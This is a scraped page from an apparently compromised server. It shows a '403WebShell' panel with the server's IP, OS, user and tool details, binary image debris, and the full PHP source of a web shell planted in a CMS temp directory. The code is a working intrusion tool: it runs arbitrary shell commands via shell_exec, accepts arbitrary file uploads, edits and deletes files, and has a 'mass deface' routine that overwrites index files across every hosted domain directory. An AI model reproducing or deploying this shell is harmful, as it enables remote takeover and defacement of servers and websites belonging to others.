....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 195.3.193.33  /  Your IP : 216.73.216.125
Web Server : Apache
System : Linux server3 5.10.0-35-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User : web032 ( 1035)
PHP Version : 7.3.33
Disable Function : show_source, highlight_file, apache_child_terminate, apache_get_modules, apache_note, apache_setenv, virtual, dl, disk_total_space, posix_getpwnam, posix_getpwuid, posix_mkfifo, posix_mknod, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_nice, openlog, syslog, pfsockopen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/web032/htdocs/cms/tmp/205220/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/web032/htdocs/cms/tmp/205220/index.php
afwwrfwafr45458465<?php  
// Include Teko font from Google Fonts and Font Awesome
echo '<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Teko:wght@400;500;600;700&display=swap">';
echo '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">';

// Apply Teko font to the entire page and set colors
echo '<style>
    body {
        font-family: "Teko", sans-serif;
        background-color: #4A2C2A; /* Dark brown background */
        color: yellow; /* Yellow font */
    }
    h3, th, td {
        font-family: "Teko", sans-serif;
        color: yellow;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        font-family: "Teko", sans-serif;
        color: yellow;
        background-color: black;
    }
    textarea {
        color: yellow;
        background-color: black;
    }
    a {
        color: yellow;
    }
    table {
        color: yellow;
    }

    /* Styles for the mass deface link */
    #massDefaceLink {
        display: inline-block;
        padding: 10px 30px; /* Adjust padding for a more elongated shape */
        border-radius: 25px; /* Makes it oval */
        background-color: rgba(0, 0, 0, 0.5); /* Optional: Add background color */
        transition: background-color 0.3s;
        cursor: pointer;
    }

    #massDefaceLink:hover {
        background-color: rgba(255, 255, 0, 0.3); /* Optional: Change color on hover */
    }
</style>';

// ASCII Art
echo '<div style="text-align: center; font-family: monospace; white-space: pre;">';
echo "\n";  
echo " ██████  █████  ████████ ███████ ██████  ███████  ██████  █████  ███    ███      ██████  ██████  ██████  ██████      ██    ██ ██████      ██████  \n";
echo "██      ██   ██    ██    ██      ██   ██ ██      ██      ██   ██ ████  ████     ██      ██    ██ ██   ██ ██   ██     ██    ██      ██    ██  ████ \n";
echo "██      ███████    ██    █████   ██████  ███████ ██      ███████ ██ ████ ██     ██      ██    ██ ██████  ██████      ██    ██  █████     ██ ██ ██ \n";
echo "██      ██   ██    ██    ██      ██   ██      ██ ██      ██   ██ ██  ██  ██     ██      ██    ██ ██   ██ ██           ██  ██       ██    ████  ██ \n";
echo " ██████ ██   ██    ██    ███████ ██   ██ ███████  ██████ ██   ██ ██      ██      ██████  ██████  ██   ██ ██            ████   ██████  ██  ██████  \n"; 
echo '</div>';  

// Display system information  
echo "<h3>Server Info:</h3>";  
echo "Uname: " . php_uname() . "<br>";  
echo "Software: " . $_SERVER['SERVER_SOFTWARE'] . "<br>";  
echo "PHP Version: " . phpversion() . "<br>";  
echo "Server IP: " . $_SERVER['SERVER_ADDR'] . "<br>";  
echo "Hacker IP: " . $_SERVER['REMOTE_ADDR'] . "<br>";  
echo "HDD: " . disk_free_space("/") . " bytes free of " . disk_total_space("/") . " bytes total<br>";  
echo "User: " . get_current_user() . "<br>";  
echo "Group: " . posix_getgrgid(posix_getegid())['name'] . "<br>";  
echo "Home Shell: " . getcwd() . "<br><br>";   

// Mass Deface Link
echo '<div style="text-align: center; margin: 20px 0;">
        <span id="massDefaceLink" onclick="toggleMassDefaceForm()">
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mass deface&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
        </span>
        <div id="massDefaceForm" style="display: none; margin-top: 10px;">
            <form method="POST">
                <label>Enter directory path (e.g., /var/www/):</label><br>
                <input type="text" name="mass_deface_path" style="width: 100%;" required><br><br>
                <label>Save to (filename.ext):</label><br>
                <input type="text" name="deface_filename" style="width: 100%;" placeholder="index.html" required><br><br>
                <label>Deface content (HTML or other):</label><br>
                <textarea name="deface_content" style="width: 100%; height: 200px;" required></textarea><br>
                <input type="submit" name="mass_deface_submit" value="Execute Deface" style="margin-top: 10px;">
            </form>
        </div>
      </div>';

echo "<script>
function toggleMassDefaceForm() {
    var form = document.getElementById('massDefaceForm');
    form.style.display = (form.style.display === 'none' || form.style.display === '') ? 'block' : 'none';
}
</script>";

// Handle Mass Deface Submission
if (isset($_POST['mass_deface_submit'])) {
    $defacePath = realpath($_POST['mass_deface_path']);
    $defaceContent = $_POST['deface_content'];
    $defaceFilename = $_POST['deface_filename'];

    // Check if directory is valid and readable
    if (is_dir($defacePath) && is_readable($defacePath)) {
        $domains = []; // Store the affected domains
        $entries = scandir($defacePath);

        foreach ($entries as $entry) {
            $entryPath = $defacePath . '/' . $entry;

            // Only target directories that look like domain names
            if (is_dir($entryPath) && preg_match('/\.[a-z]{2,}$/i', $entry)) {
                $targetFile = $entryPath . '/' . $defaceFilename; // Custom file name
                
                // Ensure the file is writable or can be created
                if (!file_exists($targetFile) || is_writable($targetFile)) {
                    file_put_contents($targetFile, $defaceContent);
                    $domains[] = $entry . '/' . $defaceFilename; // Add domain to affected list
                }
            }
        }

        // Display success message with affected domains
        if (!empty($domains)) {
            echo "<h3>Mass Deface Successful. Affected Sites:</h3><ul>";
            foreach ($domains as $domain) {
                echo "<li>$domain</li>";
            }
            echo "</ul>";
        } else {
            echo "<h3>No domain directories found or no writable files to deface.</h3>";
        }
    } else {
        echo "<h3>Invalid directory or permission denied.</h3>";
    }
}

// Helper function to get file permissions in symbolic format  
function getPermissions($file) {  
    $perms = fileperms($file);  
    $symbolic = '';  

    // File type  
    if (($perms & 0xC000) == 0xC000) {  
        $symbolic = 's'; // Socket  
    } elseif (($perms & 0xA000) == 0xA000) {  
        $symbolic = 'l'; // Symbolic Link  
    } elseif (($perms & 0x8000) == 0x8000) {  
        $symbolic = '-'; // Regular file  
    } elseif (($perms & 0x6000) == 0x6000) {  
        $symbolic = 'b'; // Block special  
    } elseif (($perms & 0x4000) == 0x4000) {  
        $symbolic = 'd'; // Directory  
    } elseif (($perms & 0x2000) == 0x2000) {  
        $symbolic = 'c'; // Character special  
    } elseif (($perms & 0x1000) == 0x1000) {  
        $symbolic = 'p'; // FIFO pipe  
    } else {  
        $symbolic = 'u'; // Unknown  
    }  

    // Owner permissions  
    $symbolic .= (($perms & 0x0100) ? 'r' : '-') . (($perms & 0x0080) ? 'w' : '-') . (($perms & 0x0040) ? 'x' : '-');  
    // Group permissions  
    $symbolic .= (($perms & 0x0020) ? 'r' : '-') . (($perms & 0x0010) ? 'w' : '-') . (($perms & 0x0008) ? 'x' : '-');  
    // Other permissions  
    $symbolic .= (($perms & 0x0004) ? 'r' : '-') . (($perms & 0x0002) ? 'w' : '-') . (($perms & 0x0001) ? 'x' : '-');  

    return $symbolic;  
}   

// Get current directory path  
$current_dir = getcwd();  

// If navigating to a directory  
if (isset($_GET['path'])) {  
    $path = realpath($_GET['path']);  
    if ($path && is_dir($path)) {  
        if (is_readable($path)) { // Check if directory is readable
            chdir($path);  
            $current_dir = $path;  
        } else {
            echo "<h3>Access Denied</h3>";
        }
    }  
}  

// Handle deletion of selected files or directories  
if (isset($_GET['delete_item'])) {  
    $item_path = realpath(urldecode($_GET['delete_item']));  
    if (is_file($item_path)) {  
        unlink($item_path);  
        echo "<script>alert('File deleted successfully.');</script>";  
    } elseif (is_dir($item_path)) {  
        rmdir($item_path);  
        echo "<script>alert('Directory deleted successfully.');</script>";  
    }  
    echo "<script>window.location.href = window.location.pathname;</script>";  
}  

// Handle renaming of files or directories  
if (isset($_GET['rename_item']) && isset($_GET['new_name'])) {  
    $current_name = realpath(urldecode($_GET['rename_item']));  
    $new_name = dirname($current_name) . '/' . urldecode($_GET['new_name']);  
    rename($current_name, $new_name);  
    echo "<script>alert('Item renamed successfully.');</script>";
    // Redirect to refresh the file list
    echo "<script>window.location.href = window.location.pathname;</script>";
}  

// File Editing
if (isset($_POST['edit_file']) && isset($_POST['file_content'])) {
    $file = realpath(urldecode($_POST['edit_file']));
    $content = $_POST['file_content'];
    
    // Ensure the file exists and is writable
    if (is_file($file) && is_writable($file)) {
        if (file_put_contents($file, $content) !== false) {
            echo "<script>
                    alert('File \"" . htmlspecialchars(basename($file)) . "\" edited successfully.');
                    window.location.href = window.location.pathname;
                  </script>";
        } else {
            echo "<script>
                    alert('Failed to edit file \"" . htmlspecialchars(basename($file)) . "\".');
                  </script>";
        }
    } else {
        echo "<script>
                alert('File does not exist or is not writable.');
              </script>";
    }
    exit();
}

// Handle file editing display
if (isset($_GET['edit_item'])) {
    $edit_item = realpath(urldecode($_GET['edit_item']));
    if (is_file($edit_item) && is_readable($edit_item)) {
        $file_content = file_get_contents($edit_item);
        echo "<h3>Editing: " . htmlspecialchars(basename($edit_item)) . "</h3>";
        echo "<form method='POST' action='?'>
                <textarea name='file_content' style='width: 100%; height: 400px;'>". htmlspecialchars($file_content) ."</textarea><br>
                <input type='hidden' name='edit_file' value='" . urlencode($edit_item) . "'>
                <input type='submit' value='Save'>
              </form>";
        exit();
    } else {
        echo "<h3>File not found or not readable.</h3>";
    }
}



// Include this CSS in your style section
echo '<style>
    /* Hide the "No files chosen" text */
    input[type="file"]::file-selector-button {
        display: none;
    }
</style>';

// Upload Form    
echo "<form enctype='multipart/form-data' method='POST' id='fileForm'>
        <div style='margin-bottom: 10px;'>
            <input type='file' name='upload' id='fileInput' onchange='this.form.submit();' style='width: 100%;'>
        </div>
        <div>
            <input type='text' name='cmd' placeholder='Cmd Shell' style='width: 100%;'>
        </div>
      </form>";


// File Upload Handler
if (isset($_FILES['upload'])) {
    $target_path = basename($_FILES['upload']['name']);
    if (move_uploaded_file($_FILES['upload']['tmp_name'], $target_path)) {
        echo "<script>alert('File " . basename($_FILES['upload']['name']) . " uploaded successfully.');</script>";
        echo "<script>window.location.href = window.location.pathname;</script>";
    } else {
        echo "<script>alert('Upload failed.');</script>";
    }
}


// Terminal Command Handler
if (isset($_POST['cmd']) && !empty($_POST['cmd'])) {
    $cmd = escapeshellcmd($_POST['cmd']);
    $output = shell_exec($cmd);
    echo "<h3>Command Output:</h3><pre>$output</pre>";
}

// JavaScript for handling form submission
echo "<script>
document.getElementById('fileForm').addEventListener('submit', function(event) {
    var fileInput = document.getElementById('fileInput');
    var cmdInput = document.querySelector('input[name=\"cmd\"]');
    
    // Check if file input is empty and cmd input is not empty
    if (fileInput.files.length === 0 && cmdInput.value.trim() === '') {
        event.preventDefault();
        alert('Please choose a file to upload.');
    }
});

document.querySelector('input[name=\"cmd\"]').addEventListener('keypress', function(event) {
    // Only handle the enter key to submit the command
    if (event.key === 'Enter') {
        event.preventDefault();
        var cmd = this.value.trim();
        if (cmd) {
            // Create a form to submit the command
            var form = document.createElement('form');
            form.method = 'POST';
            form.style.display = 'none';
            var input = document.createElement('input');
            input.type = 'hidden';
            input.name = 'cmd';
            input.value = cmd;
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
    }
});
</script>";

// File Explorer Layout  
echo "<h3>File Explorer:</h3>";  

// Display the path breadcrumb
$path_parts = explode('/', trim($current_dir, '/'));
$breadcrumb = '';
for ($i = 0; $i < count($path_parts); $i++) {
    $current_part = implode('/', array_slice($path_parts, 0, $i + 1));
    $breadcrumb .= "<a href='?path=" . urlencode('/' . $current_part) . "'>" . htmlspecialchars($path_parts[$i]) . "</a> / ";
}
echo rtrim($breadcrumb, ' / ');

// File explorer table
echo "<table border='1' cellpadding='5' style='width: 100%;'>";  
echo "<tr style='text-align: center;'>";  
echo "<th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th>";  
echo "</tr>";  

// Add ".." for parent directory link  
if ($current_dir != '/') {  
    echo "<tr>";  
    echo "<td style='text-align: left;'> <i class='fas fa-folder'></i> <a href='?path=" . urlencode(dirname($current_dir)) . "'>..</a></td>"; // Parent directory link  
    echo "<td style='text-align: center;'>dir</td>";  
    echo "<td style='text-align: center;'>-</td>";  
    echo "<td style='text-align: center;'>-</td>";  
    echo "<td style='text-align: center;'>-</td>";  
    echo "<td style='text-align: center;'></td>";  
    echo "</tr>";  
}  

// Separate directories and files  
$dirs = [];  
$files = [];  

$entries = scandir($current_dir);  
foreach ($entries as $entry) {  
    if ($entry !== "." && $entry !== "..") {  
        $path = $current_dir . '/' . $entry;  
        if (is_dir($path)) {  
            $dirs[] = $entry;  
        } else {  
            $files[] = $entry;  
        }  
    }  
}  

// Sort directories and files  
sort($dirs);  
sort($files);  

// Display directories  
foreach ($dirs as $dir) {  
    $file_path = $current_dir . '/' . $dir;  
    $file_size = 'dir';  
    $file_modify = date("Y-m-d H:i:s", filemtime($file_path));  
    $file_owner = posix_getpwuid(fileowner($file_path))['name'] . '/' . posix_getgrgid(filegroup($file_path))['name'];  
    $file_permissions = getPermissions($file_path);  
    echo "<tr>";  
    echo "<td style='text-align: left;'><i class='fas fa-folder'></i> <a href='?path=" . urlencode($file_path) . "'>$dir</a></td>";  
    echo "<td style='text-align: center;'>$file_size</td>";  
    echo "<td style='text-align: center;'>$file_modify</td>";  
    echo "<td style='text-align: center;'>$file_owner</td>";  
    echo "<td style='text-align: center;'>$file_permissions</td>";  
    echo "<td style='text-align: center;'>";  
    echo "<a href='#' onclick='confirmDelete(\"" . urlencode($file_path) . "\")'>[Delete]</a> ";  
    echo "<a href='#' onclick='confirmRename(\"" . urlencode($file_path) . "\")'>[Rename]</a>";  
    echo "</td>";  
    echo "</tr>";  
}  

// Display files  
foreach ($files as $file) {  
    $file_path = $current_dir . '/' . $file;  
    $file_size = filesize($file_path) . ' B';  
    $file_modify = date("Y-m-d H:i:s", filemtime($file_path));  
    $file_owner = posix_getpwuid(fileowner($file_path))['name'] . '/' . posix_getgrgid(filegroup($file_path))['name'];  
    $file_permissions = getPermissions($file_path);  
    echo "<tr>";  
    echo "<td style='text-align: left;'><i class='fas fa-file'></i> <a href='?path=" . urlencode($file_path) . "'>$file</a></td>";  
    echo "<td style='text-align: center;'>$file_size</td>";  
    echo "<td style='text-align: center;'>$file_modify</td>";  
    echo "<td style='text-align: center;'>$file_owner</td>";  
    echo "<td style='text-align: center;'>$file_permissions</td>";  
    echo "<td style='text-align: center;'>";  
    echo "<a href='?edit_item=" . urlencode($file_path) . "'> [Edit]</a> ";  
    echo "<a href='?delete_item=" . urlencode($file_path) . "' onclick='return confirm(\"Are you sure?\")'>[Delete]</a> ";  
    echo "<a href='#' onclick='confirmRename(\"" . urlencode($file_path) . "\")'>[Rename]</a>";  
    echo "</td>";  
    echo "</tr>";  
}  

echo "</table>";  

// JavaScript functions for delete and rename confirmation
echo "<script>
function confirmDelete(path) {
    if (confirm('Are you sure you want to delete this item?')) {
        window.location.href = '?delete_item=' + path;
    }
}

function confirmRename(path) {
    var newName = prompt('Enter new name for the item:');
    if (newName) {
        window.location.href = '?rename_item=' + path + '&new_name=' + encodeURIComponent(newName);
    }
}
</script>";

echo '<div style="text-align: center; margin-top: 20px; padding: 10px; background-color: #4A2C2A; border-top: 1px solid #ddd;">';
